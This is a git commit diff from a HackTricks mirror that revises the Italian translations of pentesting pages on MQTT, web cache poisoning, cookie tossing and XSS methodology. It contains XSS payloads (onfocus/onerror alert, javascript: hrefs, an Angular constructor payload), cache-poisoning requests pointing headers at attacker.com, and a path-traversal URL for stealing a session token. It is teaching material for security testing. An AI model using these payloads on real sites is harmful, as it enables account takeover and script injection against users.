mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui
This commit is contained in:
Translator
parent
d85df11816
commit
70b8b5feef
@ -36,8 +36,6 @@ Per connettersi a un servizio MQTT puoi usare: [https://github.com/bapowell/pyth
|
||||
> subscribe "#" 1
|
||||
> subscribe "$SYS/#"
|
||||
```
|
||||
Puoi anche usare [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)
|
||||
|
||||
Puoi anche usare:
|
||||
```bash
|
||||
apt-get install mosquitto mosquitto-clients
|
||||
@ -73,17 +71,13 @@ client.loop_start()
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Maggiori informazioni
|
||||
|
||||
da qui: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
|
||||
### Il modello Publish/Subscribe <a href="#b667" id="b667"></a>
|
||||
### Il Modello Publish/Subscribe <a href="#b667" id="b667"></a>
|
||||
|
||||
Il modello publish/subscribe è composto da:
|
||||
|
||||
- **Publisher**: pubblica un messaggio su uno (o più) argomento(i) nel broker.
|
||||
- **Subscriber**: si iscrive a uno (o più) argomento(i) nel broker e riceve tutti i messaggi inviati dal publisher.
|
||||
- **Broker**: instrada tutti i messaggi dai publisher agli subscriber.
|
||||
- **Publisher**: pubblica un messaggio su uno (o più) topic(s) nel broker.
|
||||
- **Subscriber**: si iscrive a uno (o più) topic(s) nel broker e riceve tutti i messaggi inviati dal publisher.
|
||||
- **Broker**: instrada tutti i messaggi dai publisher ai subscriber.
|
||||
- **Topic**: consiste in uno o più livelli separati da una barra obliqua (ad es., /smartshouse/livingroom/temperature).
|
||||
|
||||
### Formato del Pacchetto <a href="#f15a" id="f15a"></a>
|
||||
@ -101,10 +95,10 @@ Ogni pacchetto MQTT contiene un'intestazione fissa (Figura 02).Figura 02: Intest
|
||||
- PUBREC (5): Parte di un protocollo di consegna dei messaggi che garantisce che il messaggio sia ricevuto.
|
||||
- PUBREL (6): Ulteriore garanzia nella consegna del messaggio, indicando un rilascio del messaggio.
|
||||
- PUBCOMP (7): Parte finale del protocollo di consegna dei messaggi, che indica il completamento.
|
||||
- SUBSCRIBE (8): Richiesta di un client per ascoltare i messaggi da un argomento.
|
||||
- SUBACK (9): L'accettazione del server di una richiesta SUBSCRIBE.
|
||||
- UNSUBSCRIBE (10): Richiesta di un client per smettere di ricevere messaggi da un argomento.
|
||||
- UNSUBACK (11): La risposta del server a una richiesta UNSUBSCRIBE.
|
||||
- SUBSCRIBE (8): Richiesta di un client per ascoltare i messaggi da un topic.
|
||||
- SUBACK (9): L'accettazione del server di una richiesta di SUBSCRIBE.
|
||||
- UNSUBSCRIBE (10): Richiesta di un client per smettere di ricevere messaggi da un topic.
|
||||
- UNSUBACK (11): La risposta del server a una richiesta di UNSUBSCRIBE.
|
||||
- PINGREQ (12): Un messaggio di heartbeat inviato dal client.
|
||||
- PINGRESP (13): Risposta del server al messaggio di heartbeat.
|
||||
- DISCONNECT (14): Iniziato dal client per terminare la connessione.
|
||||
|
||||
@ -6,8 +6,8 @@
|
||||
|
||||
> **Qual è la differenza tra web cache poisoning e web cache deception?**
|
||||
>
|
||||
> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
|
||||
> - Nel **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
|
||||
> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
|
||||
> - Nel **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questi contenuti dalla cache.
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
@ -15,7 +15,7 @@ Il cache poisoning mira a manipolare la cache lato client per costringere i clie
|
||||
|
||||
L'esecuzione di un attacco di cache poisoning comporta diversi passaggi:
|
||||
|
||||
1. **Identificazione degli Input Non Chiave**: Questi sono parametri che, sebbene non richiesti per una richiesta da memorizzare nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
|
||||
1. **Identificazione degli Input Non Chiave**: Questi sono parametri che, sebbene non necessari affinché una richiesta venga memorizzata nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
|
||||
2. **Sfruttamento degli Input Non Chiave**: Dopo aver identificato gli input non chiave, il passo successivo consiste nel capire come abusare di questi parametri per modificare la risposta del server in un modo che avvantaggi l'attaccante.
|
||||
3. **Assicurarsi che la Risposta Contaminata sia Memorizzata nella Cache**: L'ultimo passo è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è contaminata riceverà la risposta contaminata.
|
||||
|
||||
@ -45,14 +45,14 @@ Potresti usare [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4
|
||||
|
||||
Con il parametro/intestazione identificato, controlla come viene **sanitizzato** e **dove** viene **riflesso** o influisce sulla risposta dall'intestazione. Puoi abusarne in qualche modo (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...)
|
||||
|
||||
### Ottenere la risposta memorizzata nella cache
|
||||
### Ottieni la risposta memorizzata nella cache
|
||||
|
||||
Una volta che hai **identificato** la **pagina** che può essere abusata, quale **parametro**/**intestazione** utilizzare e **come** abusarne, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di memorizzare nella cache, questo potrebbe richiedere del tempo, potresti dover provare per diversi secondi.
|
||||
|
||||
L'intestazione **`X-Cache`** nella risposta potrebbe essere molto utile poiché potrebbe avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata.\
|
||||
L'intestazione **`Cache-Control`** è anche interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà memorizzata di nuovo: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Un'altra intestazione interessante è **`Vary`**. Questa intestazione è spesso utilizzata per **indicare intestazioni aggiuntive** che vengono trattate come **parte della chiave di cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che utilizzano quel specifico `User-Agent`.
|
||||
Un'altra intestazione interessante è **`Vary`**. Questa intestazione è spesso utilizzata per **indicare intestazioni aggiuntive** che vengono trattate come **parte della chiave della cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che utilizzano quel specifico `User-Agent`.
|
||||
|
||||
Un'altra intestazione relativa alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
|
||||
|
||||
@ -77,9 +77,17 @@ _Nota che questo avvelenerà una richiesta a `/en?region=uk` e non a `/en`_
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### Utilizzare l'avvelenamento della cache web per sfruttare le vulnerabilità nella gestione dei cookie
|
||||
### Avvelenamento della cache tramite CDN
|
||||
|
||||
I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se riesci ad abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache malevola.
|
||||
In **[questo articolo](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** viene spiegato il seguente semplice scenario:
|
||||
|
||||
- La CDN memorizzerà nella cache qualsiasi cosa sotto `/share/`
|
||||
- La CDN NON decodificherà né normalizzerà `%2F..%2F`, quindi può essere utilizzata come **path traversal per accedere ad altre posizioni sensibili che verranno memorizzate nella cache** come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Il server web DECODIFICHERÀ e NORMALIZZERÀ `%2F..%2F`, e risponderà con `/api/auth/session`, che **contiene il token di autenticazione**.
|
||||
|
||||
### Utilizzare l'avvelenamento della cache web per sfruttare vulnerabilità nella gestione dei cookie
|
||||
|
||||
I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se puoi abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache malevola.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
@ -97,9 +105,9 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Questo documento spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
|
||||
[**Questo writeup spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
|
||||
|
||||
Questo è spiegato meglio anche in:
|
||||
Questo è spiegato meglio in:
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
@ -114,9 +122,9 @@ Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### Sfruttare con intestazione `Vary` limitata
|
||||
### Sfruttare con un `Vary`header limitato
|
||||
|
||||
Se hai scoperto che l'intestazione **`X-Host`** viene utilizzata come **nome di dominio per caricare una risorsa JS** ma l'intestazione **`Vary`** nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quel user agent:
|
||||
Se hai scoperto che l'**`X-Host`** header viene utilizzato come **nome di dominio per caricare una risorsa JS** ma l'header **`Vary`** nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare il User-Agent della vittima e avvelenare la cache utilizzando quel user agent:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -125,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Invia una richiesta GET con la richiesta nell'URL e nel corpo. Se il server web utilizza quella del corpo ma il server cache memorizza quella dell'URL, chiunque acceda a quell'URL utilizzerà effettivamente il parametro dal corpo. Come la vulnerabilità trovata da James Kettle sul sito di Github:
|
||||
Invia una richiesta GET con la richiesta nell'URL e nel corpo. Se il server web utilizza quella del corpo ma il server cache memorizza quella dell'URL, chiunque acceda a quell'URL utilizzerà effettivamente il parametro del corpo. Come la vulnerabilità trovata da James Kettle sul sito di Github:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -168,7 +176,7 @@ GitLab utilizza i bucket GCP per memorizzare contenuti statici. **GCP Buckets**
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Nelle applicazioni Ruby on Rails, il middleware Rack è spesso utilizzato. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 verso la stessa posizione, causando potenzialmente un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, ponendo un rischio per la sicurezza.
|
||||
Nelle applicazioni Ruby on Rails, viene spesso utilizzato il middleware Rack. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 alla stessa posizione, potenzialmente causando un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, ponendo un rischio per la sicurezza.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
@ -184,7 +192,7 @@ Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a que
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
|
||||
Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non aderiscono sempre a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
|
||||
|
||||
### Finding new headers
|
||||
|
||||
|
||||
@ -13,10 +13,11 @@ Come indicato nella sezione Cookies Hacking, quando un **cookie è impostato su
|
||||
|
||||
Questo può essere pericoloso poiché l'attaccante potrebbe essere in grado di:
|
||||
|
||||
- **Fissare il cookie della vittima sull'account dell'attaccante** in modo che se l'utente non se ne accorge, **eseguirà le azioni nell'account dell'attaccante** e l'attaccante potrebbe ottenere alcune informazioni interessanti (controllare la cronologia delle ricerche dell'utente nella piattaforma, la vittima potrebbe impostare la sua carta di credito nell'account...)
|
||||
- **Fissare il cookie della vittima all'account dell'attaccante** in modo che se l'utente non se ne accorge, **eseguirà le azioni nell'account dell'attaccante** e l'attaccante potrebbe ottenere alcune informazioni interessanti (controllare la cronologia delle ricerche dell'utente nella piattaforma, la vittima potrebbe impostare la sua carta di credito nell'account...)
|
||||
- Un esempio di questo [può essere trovato qui](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) dove l'attaccante ha impostato il suo cookie in sezioni specifiche che una vittima utilizzerà per autorizzare **l'accesso ai suoi repo git ma dall'account dell'attaccante** poiché imposterà i suoi cookie negli endpoint necessari.
|
||||
- Se il **cookie non cambia dopo il login**, l'attaccante potrebbe semplicemente **fissare un cookie (session-fixation)**, aspettare che la vittima effettui il login e poi **utilizzare quel cookie per accedere come la vittima**.
|
||||
- A volte, anche se i cookie di sessione cambiano, l'attaccante utilizza quello precedente e riceverà anche il nuovo.
|
||||
- Se il **cookie imposta un valore iniziale** (come in flask dove il **cookie** può **impostare** il **token CSRF** della sessione e questo valore sarà mantenuto dopo che la vittima effettua il login), l'**attaccante potrebbe impostare questo valore noto e poi abusarne** (in quel scenario, l'attaccante potrebbe quindi far eseguire all'utente una richiesta CSRF poiché conosce il token CSRF).
|
||||
- Se il **cookie imposta un valore iniziale** (come in flask dove il **cookie** può **impostare** il **token CSRF** della sessione e questo valore sarà mantenuto dopo che la vittima effettua il login), l'**attaccante può impostare questo valore noto e poi abusarne** (in quel scenario, l'attaccante potrebbe quindi far eseguire all'utente una richiesta CSRF poiché conosce il token CSRF).
|
||||
- Proprio come impostare il valore, l'attaccante potrebbe anche ottenere un cookie non autenticato generato dal server, ottenere il token CSRF da esso e usarlo.
|
||||
|
||||
### Ordine dei Cookie
|
||||
@ -28,13 +29,13 @@ A seconda di chi ha **il percorso più specifico** o quale sia il **più vecchio
|
||||
La maggior parte **dei siti web utilizzerà solo il primo valore**. Quindi, se un attaccante vuole impostare un cookie, è meglio impostarlo prima che un altro venga impostato o impostarlo con un percorso più specifico.
|
||||
|
||||
> [!WARNING]
|
||||
> Inoltre, la capacità di **impostare un cookie in un percorso più specifico** è molto interessante poiché sarà possibile far **lavorare la vittima con il suo cookie tranne che nel percorso specifico dove il cookie malevolo impostato verrà inviato prima**.
|
||||
> Inoltre, la capacità di **impostare un cookie in un percorso più specifico** è molto interessante poiché sarà possibile far **lavorare la vittima con il suo cookie tranne che nel percorso specifico in cui il cookie malevolo impostato verrà inviato prima**.
|
||||
|
||||
### Bypass della Protezione
|
||||
|
||||
Una possibile protezione contro questo attacco sarebbe che il **server web non accetti richieste con due cookie con lo stesso nome ma due valori diversi**.
|
||||
|
||||
Per bypassare lo scenario in cui l'attaccante sta impostando un cookie dopo che la vittima ha già ricevuto il cookie, l'attaccante potrebbe causare un **cookie overflow** e poi, una volta che il **cookie legittimo è stato eliminato, impostare quello malevolo**.
|
||||
Per bypassare lo scenario in cui l'attaccante sta impostando un cookie dopo che alla vittima è già stato dato il cookie, l'attaccante potrebbe causare un **cookie overflow** e poi, una volta che il **cookie legittimo è stato eliminato, impostare quello malevolo**.
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
@ -44,7 +45,7 @@ Un altro utile **bypass** potrebbe essere **URL codificare il nome del cookie**
|
||||
|
||||
### Cookie Bomb
|
||||
|
||||
Un attacco di Cookie Tossing può anche essere utilizzato per eseguire un attacco di **Cookie Bomb**:
|
||||
Un attacco di Cookie Tossing può anche essere utilizzato per eseguire un **Cookie Bomb** attacco:
|
||||
|
||||
{{#ref}}
|
||||
cookie-bomb.md
|
||||
@ -55,7 +56,7 @@ cookie-bomb.md
|
||||
#### **Usa il prefisso `__Host` nel nome del cookie**
|
||||
|
||||
- Se un nome di cookie ha questo prefisso, **verrà accettato** in una direttiva Set-Cookie solo se è contrassegnato come Sicuro, è stato inviato da un'origine sicura, non include un attributo Domain e ha l'attributo Path impostato su /
|
||||
- **Questo impedisce ai sottodomini di forzare un cookie sul dominio principale poiché questi cookie possono essere visti come "bloccati sul dominio"**
|
||||
- **Questo impedisce ai sottodomini di forzare un cookie al dominio principale poiché questi cookie possono essere visti come "bloccati a livello di dominio"**
|
||||
|
||||
### Riferimenti
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
## Metodologia
|
||||
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _header_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
2. **Trova il contesto** in cui è riflesso/utilizzato.
|
||||
3. Se **riflesso**
|
||||
1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload:
|
||||
@ -35,29 +35,29 @@ debugging-client-side-js.md
|
||||
|
||||
## Valori riflessi
|
||||
|
||||
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||
Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||
|
||||
- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un **Reflected XSS**.
|
||||
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
|
||||
- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
|
||||
- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web, potresti sfruttare un **Reflected XSS**.
|
||||
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
|
||||
- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
|
||||
|
||||
## Contesti
|
||||
|
||||
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
|
||||
### HTML grezzo
|
||||
|
||||
Se il tuo input è **riflesso sulla pagina HTML grezza** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Se il tuo input è **riflesso nella pagina HTML grezza**, dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Inoltre, tieni presente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### All'interno dell'attributo dei tag HTML
|
||||
|
||||
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag potresti provare:
|
||||
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
|
||||
|
||||
1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
|
||||
2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte**, sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**", potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||
```html
|
||||
@ -65,7 +65,7 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### Inside JavaScript code
|
||||
### All'interno del codice JavaScript
|
||||
|
||||
In questo caso, il tuo input è riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
|
||||
|
||||
@ -116,7 +116,7 @@ Puoi anche provare a **attivare funzioni Javascript** direttamente: `obj.sales.d
|
||||
|
||||
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza molto DOM interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni.
|
||||
|
||||
Pertanto, per **sfruttare questa vulnerabilità in un DOM diverso** è stata sviluppata l'esploitazione **Same Origin Method Execution (SOME)**:
|
||||
Pertanto, per **abuse questa vulnerabilità in un DOM diverso** è stata sviluppata l'exploitation **Same Origin Method Execution (SOME)**:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
C'è **codice JS** che utilizza **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.
|
||||
C'è **codice JS** che sta usando **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'exploitation client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
|
||||
Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'exploitation client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere abusati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
|
||||
Alcuni **esempi**:
|
||||
|
||||
{{#ref}}
|
||||
@ -150,7 +150,7 @@ server-side-xss-dynamic-pdf.md
|
||||
## Iniettare all'interno di HTML raw
|
||||
|
||||
Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
|
||||
Per questi casi, tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
Per questi casi tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Un commento HTML può essere chiuso usando\*\*\*\*\*\***\***\*`-->`\*\***\***\*o \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usare payload come:
|
||||
@ -239,18 +239,18 @@ Per controllare in quali caratteri sono decomposti controlla [qui](https://www.c
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se per sfruttare la vulnerabilità hai bisogno che l'**utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||
Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||
|
||||
### Impossibile - Dangling Markup
|
||||
### Impossibile - Markup Pendente
|
||||
|
||||
Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) perché potresti **sfruttare** la vulnerabilità **senza** eseguire codice **JS**.
|
||||
Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Markup Pendente**](../dangling-markup-html-scriptless-injection/index.html) perché potresti **sfruttare** la vulnerabilità **senza** eseguire codice **JS**.
|
||||
|
||||
## Iniettare all'interno del tag HTML
|
||||
|
||||
### All'interno del tag/escaping dal valore dell'attributo
|
||||
|
||||
Se sei **all'interno di un tag HTML**, la prima cosa che potresti provare è di **uscire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](#injecting-inside-raw-html) per eseguire codice JS.\
|
||||
Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando alcuni payload come (_nota che in questo esempio le virgolette doppie sono usate per uscire dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
|
||||
Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando un payload come (_nota che in questo esempio le virgolette doppie sono usate per uscire dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -301,7 +301,7 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
